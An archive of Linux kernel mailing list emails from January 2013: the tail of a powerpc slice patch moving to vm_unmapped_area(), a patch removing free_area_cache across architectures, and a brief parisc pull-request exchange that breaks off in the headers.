+		found = vm_unmapped_area(&info);
+		if (!(found & ~PAGE_MASK))
+			return found;
 	}
 
 	return -ENOMEM;
@@ -277,39 +310,39 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 					     struct slice_mask available,
 					     int psize)
 {
-	struct vm_area_struct *vma;
-	unsigned long addr;
-	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
+	unsigned long addr, found, prev;
+	struct vm_unmapped_area_info info;
 
-	addr = mm->mmap_base;
-	while (addr > len) {
-		/* Go down by chunk size */
-		addr = _ALIGN_DOWN(addr - len, 1ul << pshift);
+	info.flags = VM_UNMAPPED_AREA_TOPDOWN;
+	info.length = len;
+	info.align_mask = PAGE_MASK & ((1ul << pshift) - 1);
+	info.align_offset = 0;
 
-		/* Check for hit with different page size */
-		mask = slice_range_to_mask(addr, len);
-		if (!slice_check_fit(mask, available)) {
-			if (addr < SLICE_LOW_TOP)
-				addr = _ALIGN_DOWN(addr, 1ul << SLICE_LOW_SHIFT);
-			else if (addr < (1ul << SLICE_HIGH_SHIFT))
-				addr = SLICE_LOW_TOP;
-			else
-				addr = _ALIGN_DOWN(addr, 1ul << SLICE_HIGH_SHIFT);
+	addr = mm->mmap_base;
+	while (addr > PAGE_SIZE) {
+		info.high_limit = addr;
+		if (!slice_scan_available(addr - 1, available, 0, &addr))
 			continue;
-		}
 
+ prev_slice:
 		/*
-		 * Lookup failure means no vma is above this address,
-		 * else if new region fits below vma->vm_start,
-		 * return with success:
+		 * At this point [addr; info.high_limit) covers
+		 * available slices only and starts at a slice boundary.
+		 * Check if we need to reduce the range, or if we can
+		 * extend it to cover the previous available slice.
 		 */
-		vma = find_vma(mm, addr);
-		if (!vma || (addr + len) <= vma->vm_start)
-			return addr;
+		if (addr < PAGE_SIZE)
+			addr = PAGE_SIZE;
+		else if (slice_scan_available(addr - 1, available, 0, &prev)) {
+			addr = prev;
+			goto prev_slice;
+		}
+		info.low_limit = addr;
 
-		/* try just below the current vma->vm_start */
-		addr = vma->vm_start;
+		found = vm_unmapped_area(&info);
+		if (!(found & ~PAGE_MASK))
+			return found;
 	}
 
 	/*
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 8/8] mm: remove free_area_cache
Date: Wed, 23 Jan 2013 17:29:51 -0800
Lines: 354
Approved: news@gmane.org
Message-ID: <1358990991-21316-9-git-send-email-walken@google.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991026 918 80.91.229.3 (24 Jan 2013 01:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:26 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:42 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBeL-00069p-A1
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:41 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 78C7F6B0023; Wed, 23 Jan 2013 20:30:14 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 6B8906B0024; Wed, 23 Jan 2013 20:30:14 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 484F36B0025; Wed, 23 Jan 2013 20:30:14 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx189.postini.com [74.125.245.189])
	by kanga.kvack.org (Postfix) with SMTP id 371486B0023
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:30:12 -0500 (EST)
Original-Received: from mail-pb0-f52.google.com ([209.85.160.52]) (using TLSv1) by na3sys010amx189.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 01:30:13 GMT
Original-Received: by mail-pb0-f52.google.com with SMTP id uo5so149911pbc.39
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:30:12 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=IN5ijrnQ9+AfE7SXNRp3X3k8as97CY/KQkdGvS1fKEs=;
        b=i8ok48GBfGEprI+4hJjrtdwL4zV9fClB0HxzsgPRJKRsJ4e8ZcahH+Vx2Ald9aLNe1
         OBgAp/jrjLde1U9zbt4hM2i1luoi0/AM7PBOoXh469GfjBXkDERDZLsr388KKdK36ajH
         /2Kq646DFrpaMMZzhlhhqGz4kCBZvfIj031OB8I2rEXzP4sAx+Nhs54KEDVkwCmncwG9
         u8/eLb9hsgjgRa9Jb5GMdVJ7iOTG9yXsjaPL6dCR3RtuDQrMC2lP7maMNvVpDaq7PBVb
         fOPaYlSIgRmezmLN9iBz0nIX/SSMW3ettqKTQq78rXL6G0hin1e1xeM+7NjjF/Gp6Y+7
         FUwA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=IN5ijrnQ9+AfE7SXNRp3X3k8as97CY/KQkdGvS1fKEs=;
        b=N/8n9KQ3rHchVjN7cd7o1G7Nb36JLLQgt4qKVT5+j7bjL75gxBJ/Xac+4yBqnuikdg
         zvGo/EsJV3ZV1ED2keRFO42SaHBxj/Y31b6fMP4Am3nxw3pEGwG3w30EAN+tflYjer+y
         qCUfPDUrXBWM3bpYOPmLYC6+dLAYcDTqfUo2CDG/7+VVQ2OybbE2jY+8YsJl+8oz5SuZ
         VtIiZ74kjRp+knkllFNAYSanN7tCeEzOsjBHMdsP/TO2UGUOCtwWIoTJu8oJyQ/tkgXH
         fUfawtWKgPgprfSAFkAxKw2ioT+MJfQ6ti+uqctSrff75QRpgqwylIrf9SYFsSlw5hGs
         MDhQ==
X-Received: by 10.68.189.163 with SMTP id gj3mr476476pbc.110.1358991011480;
        Wed, 23 Jan 2013 17:30:11 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.30.09
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:30:10 -0800 (PST)
X-Mailer: git-send-email 1.8.1
In-Reply-To: <1358990991-21316-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQkP7VGLbuM5tv5mhL9WpU9lUcY+BYbEL7v5zhC+nu/5XvK10iNu+eaQqADKYctHjRnRxWyQrtiu7svKjLekhsg/HK3mbWfR5Y6ZcQGMaHQx1MlfgsjprizPRMt+R1FUzMWp+KPn9i0lQSYgMITJCdSjctiADofdCbcpDbpF4IwNswO4je79nPnfdRXFmgm2tX7b+g3a
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93866 gmane.linux.kernel:1428156 gmane.linux.ports.ppc64.devel:87336 gmane.linux.ports.parisc:4759 gmane.linux.ports.alpha:2011 gmane.linux.ports.ia64:22960
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93866>

Since all architectures have been converted to use vm_unmapped_area(),
there is no remaining use for the free_area_cache.

Signed-off-by: Michel Lespinasse <walken@google.com>
Acked-by: Rik van Riel <riel@redhat.com>

---
 arch/arm/mm/mmap.c               |    2 --
 arch/arm64/mm/mmap.c             |    2 --
 arch/mips/mm/mmap.c              |    2 --
 arch/powerpc/mm/mmap_64.c        |    2 --
 arch/s390/mm/mmap.c              |    4 ----
 arch/sparc/kernel/sys_sparc_64.c |    2 --
 arch/tile/mm/mmap.c              |    2 --
 arch/x86/ia32/ia32_aout.c        |    2 --
 arch/x86/mm/mmap.c               |    2 --
 fs/binfmt_aout.c                 |    2 --
 fs/binfmt_elf.c                  |    2 --
 include/linux/mm_types.h         |    3 ---
 include/linux/sched.h            |    2 --
 kernel/fork.c                    |    4 ----
 mm/mmap.c                        |   28 ----------------------------
 mm/nommu.c                       |    4 ----
 mm/util.c                        |    1 -
 17 files changed, 0 insertions(+), 66 deletions(-)

diff --git a/arch/arm/mm/mmap.c b/arch/arm/mm/mmap.c
index 10062ceadd1c..0c6356255fe3 100644
--- a/arch/arm/mm/mmap.c
+++ b/arch/arm/mm/mmap.c
@@ -181,11 +181,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base(random_factor);
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
diff --git a/arch/arm64/mm/mmap.c b/arch/arm64/mm/mmap.c
index 7c7be7855638..8ed6cb1a900f 100644
--- a/arch/arm64/mm/mmap.c
+++ b/arch/arm64/mm/mmap.c
@@ -90,11 +90,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 EXPORT_SYMBOL_GPL(arch_pick_mmap_layout);
diff --git a/arch/mips/mm/mmap.c b/arch/mips/mm/mmap.c
index d9be7540a6be..f4e63c29d044 100644
--- a/arch/mips/mm/mmap.c
+++ b/arch/mips/mm/mmap.c
@@ -158,11 +158,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base(random_factor);
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
diff --git a/arch/powerpc/mm/mmap_64.c b/arch/powerpc/mm/mmap_64.c
index 67a42ed0d2fc..cb8bdbe4972f 100644
--- a/arch/powerpc/mm/mmap_64.c
+++ b/arch/powerpc/mm/mmap_64.c
@@ -92,10 +92,8 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
diff --git a/arch/s390/mm/mmap.c b/arch/s390/mm/mmap.c
index c59a5efa58b1..f2a462625c9e 100644
--- a/arch/s390/mm/mmap.c
+++ b/arch/s390/mm/mmap.c
@@ -91,11 +91,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
@@ -173,11 +171,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = s390_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = s390_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
diff --git a/arch/sparc/kernel/sys_sparc_64.c b/arch/sparc/kernel/sys_sparc_64.c
index 708bc29d36a8..f3c169f9d3a1 100644
--- a/arch/sparc/kernel/sys_sparc_64.c
+++ b/arch/sparc/kernel/sys_sparc_64.c
@@ -290,7 +290,6 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	    sysctl_legacy_va_layout) {
 		mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		/* We know it's 32-bit */
 		unsigned long task_size = STACK_TOP32;
@@ -302,7 +301,6 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 
 		mm->mmap_base = PAGE_ALIGN(task_size - gap - random_factor);
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
diff --git a/arch/tile/mm/mmap.c b/arch/tile/mm/mmap.c
index f96f4cec602a..d67d91ebf63e 100644
--- a/arch/tile/mm/mmap.c
+++ b/arch/tile/mm/mmap.c
@@ -66,10 +66,8 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (!is_32bit || rlimit(RLIMIT_STACK) == RLIM_INFINITY) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base(mm);
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
diff --git a/arch/x86/ia32/ia32_aout.c b/arch/x86/ia32/ia32_aout.c
index a703af19c281..3b3558577642 100644
--- a/arch/x86/ia32/ia32_aout.c
+++ b/arch/x86/ia32/ia32_aout.c
@@ -309,8 +309,6 @@ static int load_aout_binary(struct linux_binprm *bprm)
 		(current->mm->start_data = N_DATADDR(ex));
 	current->mm->brk = ex.a_bss +
 		(current->mm->start_brk = N_BSSADDR(ex));
-	current->mm->free_area_cache = TASK_UNMAPPED_BASE;
-	current->mm->cached_hole_size = 0;
 
 	retval = setup_arg_pages(bprm, IA32_STACK_TOP, EXSTACK_DEFAULT);
 	if (retval < 0) {
diff --git a/arch/x86/mm/mmap.c b/arch/x86/mm/mmap.c
index 845df6835f9f..62c29a5bfe26 100644
--- a/arch/x86/mm/mmap.c
+++ b/arch/x86/mm/mmap.c
@@ -115,10 +115,8 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = mmap_legacy_base();
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
diff --git a/fs/binfmt_aout.c b/fs/binfmt_aout.c
index 6043567b95c2..692e75ca6415 100644
--- a/fs/binfmt_aout.c
+++ b/fs/binfmt_aout.c
@@ -256,8 +256,6 @@ static int load_aout_binary(struct linux_binprm * bprm)
 		(current->mm->start_data = N_DATADDR(ex));
 	current->mm->brk = ex.a_bss +
 		(current->mm->start_brk = N_BSSADDR(ex));
-	current->mm->free_area_cache = current->mm->mmap_base;
-	current->mm->cached_hole_size = 0;
 
 	retval = setup_arg_pages(bprm, STACK_TOP, EXSTACK_DEFAULT);
 	if (retval < 0) {
diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c
index 0c42cdbabecf..e2087dea9c1e 100644
--- a/fs/binfmt_elf.c
+++ b/fs/binfmt_elf.c
@@ -730,8 +730,6 @@ static int load_elf_binary(struct linux_binprm *bprm)
 
 	/* Do this so that we can load the interpreter, if need be.  We will
 	   change some of these later */
-	current->mm->free_area_cache = current->mm->mmap_base;
-	current->mm->cached_hole_size = 0;
 	retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
 				 executable_stack);
 	if (retval < 0) {
diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h
index f8f5162a3571..e50eb047ea8a 100644
--- a/include/linux/mm_types.h
+++ b/include/linux/mm_types.h
@@ -329,12 +329,9 @@ struct mm_struct {
 	unsigned long (*get_unmapped_area) (struct file *filp,
 				unsigned long addr, unsigned long len,
 				unsigned long pgoff, unsigned long flags);
-	void (*unmap_area) (struct mm_struct *mm, unsigned long addr);
 #endif
 	unsigned long mmap_base;		/* base of mmap area */
 	unsigned long task_size;		/* size of task vm space */
-	unsigned long cached_hole_size; 	/* if non-zero, the largest hole below free_area_cache */
-	unsigned long free_area_cache;		/* first hole of size cached_hole_size or larger */
 	unsigned long highest_vm_end;		/* highest vma end address */
 	pgd_t * pgd;
 	atomic_t mm_users;			/* How many users with user space? */
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 206bb089c06b..fa7e0a60ebe9 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -366,8 +366,6 @@ extern unsigned long
 arch_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
 			  unsigned long len, unsigned long pgoff,
 			  unsigned long flags);
-extern void arch_unmap_area(struct mm_struct *, unsigned long);
-extern void arch_unmap_area_topdown(struct mm_struct *, unsigned long);
 #else
 static inline void arch_pick_mmap_layout(struct mm_struct *mm) {}
 #endif
diff --git a/kernel/fork.c b/kernel/fork.c
index a31b823b3c2d..bdf61755ef4a 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -364,8 +364,6 @@ static int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
 	mm->locked_vm = 0;
 	mm->mmap = NULL;
 	mm->mmap_cache = NULL;
-	mm->free_area_cache = oldmm->mmap_base;
-	mm->cached_hole_size = ~0UL;
 	mm->map_count = 0;
 	cpumask_clear(mm_cpumask(mm));
 	mm->mm_rb = RB_ROOT;
@@ -539,8 +537,6 @@ static struct mm_struct *mm_init(struct mm_struct *mm, struct task_struct *p)
 	mm->nr_ptes = 0;
 	memset(&mm->rss_stat, 0, sizeof(mm->rss_stat));
 	spin_lock_init(&mm->page_table_lock);
-	mm->free_area_cache = TASK_UNMAPPED_BASE;
-	mm->cached_hole_size = ~0UL;
 	mm_init_aio(mm);
 	mm_init_owner(mm, p);
 
diff --git a/mm/mmap.c b/mm/mmap.c
index f54b235f29a9..532f447879d4 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1800,15 +1800,6 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 }
 #endif	
 
-void arch_unmap_area(struct mm_struct *mm, unsigned long addr)
-{
-	/*
-	 * Is this a new hole at the lowest possible address?
-	 */
-	if (addr >= TASK_UNMAPPED_BASE && addr < mm->free_area_cache)
-		mm->free_area_cache = addr;
-}
-
 /*
  * This mmap-allocator allocates new areas top-down from below the
  * stack's low limit (the base):
@@ -1865,19 +1856,6 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 }
 #endif
 
-void arch_unmap_area_topdown(struct mm_struct *mm, unsigned long addr)
-{
-	/*
-	 * Is this a new hole at the highest possible address?
-	 */
-	if (addr > mm->free_area_cache)
-		mm->free_area_cache = addr;
-
-	/* dont allow allocations above current base */
-	if (mm->free_area_cache > mm->mmap_base)
-		mm->free_area_cache = mm->mmap_base;
-}
-
 unsigned long
 get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 		unsigned long pgoff, unsigned long flags)
@@ -2276,7 +2254,6 @@ detach_vmas_to_be_unmapped(struct mm_struct *mm, struct vm_area_struct *vma,
 {
 	struct vm_area_struct **insertion_point;
 	struct vm_area_struct *tail_vma = NULL;
-	unsigned long addr;
 
 	insertion_point = (prev ? &prev->vm_next : &mm->mmap);
 	vma->vm_prev = NULL;
@@ -2293,11 +2270,6 @@ detach_vmas_to_be_unmapped(struct mm_struct *mm, struct vm_area_struct *vma,
 	} else
 		mm->highest_vm_end = prev ? prev->vm_end : 0;
 	tail_vma->vm_next = NULL;
-	if (mm->unmap_area == arch_unmap_area)
-		addr = prev ? prev->vm_end : mm->mmap_base;
-	else
-		addr = vma ?  vma->vm_start : mm->mmap_base;
-	mm->unmap_area(mm, addr);
 	mm->mmap_cache = NULL;		/* Kill the cache. */
 }
 
diff --git a/mm/nommu.c b/mm/nommu.c
index 79c3cac87afa..b5535ff2f9d1 100644
--- a/mm/nommu.c
+++ b/mm/nommu.c
@@ -1852,10 +1852,6 @@ unsigned long arch_get_unmapped_area(struct file *file, unsigned long addr,
 	return -ENOMEM;
 }
 
-void arch_unmap_area(struct mm_struct *mm, unsigned long addr)
-{
-}
-
 void unmap_mapping_range(struct address_space *mapping,
 			 loff_t const holebegin, loff_t const holelen,
 			 int even_cows)
diff --git a/mm/util.c b/mm/util.c
index c55e26b17d93..4c19aa6a1b43 100644
--- a/mm/util.c
+++ b/mm/util.c
@@ -293,7 +293,6 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 {
 	mm->mmap_base = TASK_UNMAPPED_BASE;
 	mm->get_unmapped_area = arch_get_unmapped_area;
-	mm->unmap_area = arch_unmap_area;
 }
 #endif
 
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc fixes for v3.8-rc5
Date: Thu, 24 Jan 2013 10:47:20 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <CAMuHMdViEAXdm=iYXeejdnxw_Xj_7HF63DcUojwBm-G+UeSeuw@mail.gmail.com>
References: <50FF006C.7070803@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1359020847 30678 80.91.229.3 (24 Jan 2013 09:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 09:47:27 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	John David Anglin <dave.anglin@bell.net>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 24 10:47:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TyJPI-0000iq-5t
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Jan 2013 10:47:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752816Ab3AXJrW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jan 2013 04:47:22 -0500
Original-Received: from mail-vb0-f53.google.com ([209.85.212.53]:64637 "EHLO
	mail-vb0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752636Ab3AXJrV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jan 2013 04:47:21 -0500
Original-Received: by mail-vb0-f53.google.com with SMTP id b23so3643458vbz.40
        for <multiple recipients>; Thu, 24 Jan 2013 01:47:20 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:x-received:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=TphIeApk+BCylKYXFnTwrns9lNh8k9Y++f7W9RP4VHo=;
        b=WgOjQ8NS3nZDhLbFySFLJpLqHTh5O8ZDMIbacqDA0A3JeaNwhwLh5cDgAsJc82le1m
         pRvvN2wydK38/OBEdkxX8h/nrbtUc2vwLAWBsN4/wST4nmMGldivXReI1U4JHBf3XmpD
         kmp73sL8gCH3OgyKAfMqsnJuoIcrrpLM+vZAuU1RQManQnHxdGGva+S4YFVKG4yPOakv
         Qd+oqOkxWLQ16K6QbkIHncp3JgRmGd2L9x72wYBfJFgHo30gRUh5fQsaMlcg5g7TthEq
         2RhkvgoO3I/LjdJgh9Urnit6XIHUnCE8YutonpVDaYSlsAnyAcQUkajaOTCVpJgzk4a7
         SVyg==
X-Received: by 10.52.27.174 with SMTP id u14mr1016914vdg.107.1359020840398;
 Thu, 24 Jan 2013 01:47:20 -0800 (PST)
Original-Received: by 10.58.227.168 with HTTP; Thu, 24 Jan 2013 01:47:20 -0800 (PST)
In-Reply-To: <50FF006C.7070803@gmx.de>
X-Google-Sender-Auth: ef31qctMcKyWsth2sk3qOQZJz5g
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4760 gmane.linux.kernel:1428403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4760>

Hi Helge,

On Tue, Jan 22, 2013 at 10:11 PM, Helge Deller <deller@gmx.de> wrote:
> please consider pulling the following 4 patches for 3.8-rc5 which improve
> the stability of the linux kernel on the parisc architecture.

I think you forgot https://patchwork.kernel.org/patch/1917351/

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc fixes for v3.8-rc5
Date: Thu, 24 Jan 2013 11:27:56 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20130124102756.213380@gmx.net>
References: <50FF006C.7070803@gmx.de>
 <CAMuHMdViEAXdm=iYXeejdnxw_Xj_7HF63DcUojwBm-G+UeSeuw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1359023283 30466 80.91.229.3 (24 Jan 2013 10:28:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 10:28:03 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, dave.anglin@bell.net,
	jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
	torvalds@linux-foundation.org
To: Geert Uytterhoeven <geert@linux-m68k.org>, deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 24 11:28:21 2013
